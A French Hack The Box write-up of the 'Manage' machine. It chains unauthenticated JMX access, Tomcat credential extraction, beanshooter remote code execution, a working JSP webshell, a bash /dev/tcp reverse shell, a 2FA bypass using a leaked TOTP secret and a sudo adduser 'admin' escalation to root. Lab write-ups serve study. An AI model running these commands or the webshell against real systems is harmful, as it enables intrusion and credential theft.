Write-up : HTB Manage - Java RMI/JMX Exploitation
Write-up : HTB Manage - Java RMI/JMX Exploitation
- Nom : Manage
- Difficulté : Easy
- Plateforme : Hack The Box
- OS : Linux
- IP : 10.129.236.246
Introduction
La machine “Manage” est un challenge intéressant qui nous fait explorer l’exploitation de services Java RMI/JMX, suivie d’une escalade de privilèges via une configuration sudo mal implémentée. Ce writeup détaille l’approche méthodique pour compromettre complètement cette machine.
Phase 1 : Reconnaissance & Énumération
1. Scan Nmap Initial
Commençons par un scan Nmap complet pour identifier les services exposés :
nmap -sC -sV -p- -T4 10.129.236.246
- 22/tcp : OpenSSH 8.9p1 Ubuntu (clé publique uniquement)
- 2222/tcp : Java RMI Registry
- 8080/tcp : Apache Tomcat 10.1.19
- 37549/tcp : Java RMI Server (JMX endpoint sur 127.0.1.1)
La présence d’un service Java RMI Registry sur le port 2222 et d’un serveur Tomcat sur le port 8080 sont particulièrement intéressants pour notre exploitation.
2. Installation des Outils Spécialisés
Pour exploiter efficacement les services Java RMI/JMX, nous avons besoin d’outils spécialisés :
wget https://github.com/qtc-de/remote-method-guesser/releases/download/v4.4.1/rmg-4.4.1-jar-with-dependencies.jar
wget https://github.com/qtc-de/beanshooter/releases/download/v4.1.0/beanshooter-4.1.0-jar-with-dependencies.jar
3. Énumération RMI avec RMG
Utilisons Remote Method Guesser (RMG) pour énumérer le service RMI :
java -jar rmg-4.4.1-jar-with-dependencies.jar enum 10.129.236.246 2222
- Service JMX exposé :
jmxrmi
pointant vers127.0.1.1:37549
- JEP290 activé (protection contre la désérialisation)
- Pas de Security Manager
- Non vulnérable aux attaques de désérialisation classiques (CVE-2019-2684)
4. Exploitation avec Beanshooter
Poursuivons l’énumération avec Beanshooter, un outil spécialisé pour l’exploitation JMX :
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.236.246 2222
JMX sans authentification
- Remote MBean server does not require authentication. Vulnerability Status: Vulnerable
171 MBeans exposés incluant
MemoryUserDatabaseMBean
Extraction automatique des credentials Tomcat :
Username: manager Password: fhErvo2r9wuTEYiYgt Roles: manage-gui Username: admin Password: onyRPCkaG4iX72BrRtKgbszd Roles: role1
Bingo ! Nous avons obtenu des identifiants qui pourraient nous donner accès à l’interface d’administration Tomcat ou au système.
Phase 2 : Remote Code Execution via JMX
1. Tentative d’Accès à Tomcat Manager
Essayons d’utiliser les identifiants récupérés pour accéder à l’interface Tomcat Manager :
curl -u manager:fhErvo2r9wuTEYiYgt http://10.129.236.246:8080/manager/text/list
2. RCE via StandardMBean Abuse
Puisque l’accès direct à Tomcat est restreint, exploitons la vulnérabilité JMX pour exécuter des commandes :
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.236.246 2222 exec "whoami"
- Beanshooter déploie un
TemplateImpl
payload viaStandardMBean
- La méthode
newTransformer()
déclenche l’exécution de code - Le
NullPointerException
attendu confirme que l’attaque a fonctionné
3. Test de Connectivité Réseau
Les reverse shells TCP directs échouent, probablement à cause d’un filtrage réseau. Vérifions si la cible peut nous joindre via HTTP :
# Terminal 1 - Serveur HTTP
python3 -m http.server 8000
# Terminal 2 - Test depuis la cible
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.236.246 2222 exec "curl http://10.10.14.54:8000/test"
4. Déploiement d’un Webshell JSP
Créons un webshell JSP pour obtenir un accès plus stable :
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
InputStream in = p.getInputStream();
byte[] buf = new byte[1024];
int len;
while((len = in.read(buf)) > 0) out.write(new String(buf, 0, len));
%>
Déployons-le sur la cible :
# Dans le répertoire où se trouve shell.jsp
python3 -m http.server 8000
# Téléchargement sur la cible
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.236.246 2222 exec "curl http://10.10.14.54:8000/shell.jsp -o /opt/tomcat/webapps/ROOT/shell.jsp"
Accédons au webshell :
http://10.129.236.246:8080/shell.jsp?cmd=id
Phase 3 : Post-Exploitation & User Flag
1. Découverte du Secret TOTP
Via notre webshell, on effectue un revershell afin d’avoir un shell plus stable via pwncat :
http://10.129.236.246:8080/shell.jsp?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.54%2F4444%200%3E%261
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
[10 codes de secours à usage unique]
Nous avons trouvé un secret TOTP (Time-based One-Time Password) encodé en Base32, utilisé pour l’authentification à deux facteurs dans le backup de useradmin.
2. Génération du Code OTP
Utilisons Python avec la bibliothèque pyotp
pour générer le code TOTP :
pip install pyotp
cat > code.py << 'EOF'
import pyotp
totp = pyotp.TOTP('CLSSSMHYGLENX5HAIFBQ6L35UM')
print(totp.now())
EOF
python3 code.py
# Output: 768204 (change toutes les 30 secondes)
3. Connexion SSH avec 2FA
Connectons-nous via SSH en utilisant les identifiants récupérés et le code TOTP généré :
ssh useradmin@10.129.236.246
Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: [CODE_GÉNÉRÉ]
useradmin
!Phase 4 : Privilege Escalation
1. Analyse des Privilèges Sudo
On commence par vérifier les privilèges de l’user :
sudo -l
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
- Exécution de
/usr/sbin/adduser
sans mot de passe - Regex censée valider le nom d’utilisateur : alphanumériques uniquement
- La restriction n’est pas appliquée correctement sur toutes les versions Ubuntu
2. Exploitation de la Configuration Sudo
Sur Ubuntu, le nom d’utilisateur “admin” possède une signification spéciale dans PAM/sudo par défaut. Exploitons cette particularité :
sudo /usr/sbin/adduser admin
# Définir un mot de passe lors de la création
admin
est automatiquement ajouté au groupe admin avec privilèges sudo complets (dépend de la version du système).3. Escalade Finale
Passons à l’utilisateur admin puis à root :
su admin
# Entrer le mot de passe défini
sudo su
# Entrer le mot de passe admin
Root flag :
cat /root/root.txt
b3645b7e6db6d5276ad33f0c75b8dc34
Chaîne d’Attaque Complète
RMI Registry (2222)
↓
JMX sans authentification
↓
Extraction credentials via MemoryUserDatabaseMBean
↓
RCE via StandardMBean abuse (TemplateImpl payload)
↓
Webshell JSP déployé
↓
Secret TOTP exposé (.google_authenticator)
↓
Bypass 2FA SSH avec pyotp
↓
Sudo adduser avec nom "admin"
↓
Privilèges root automatiques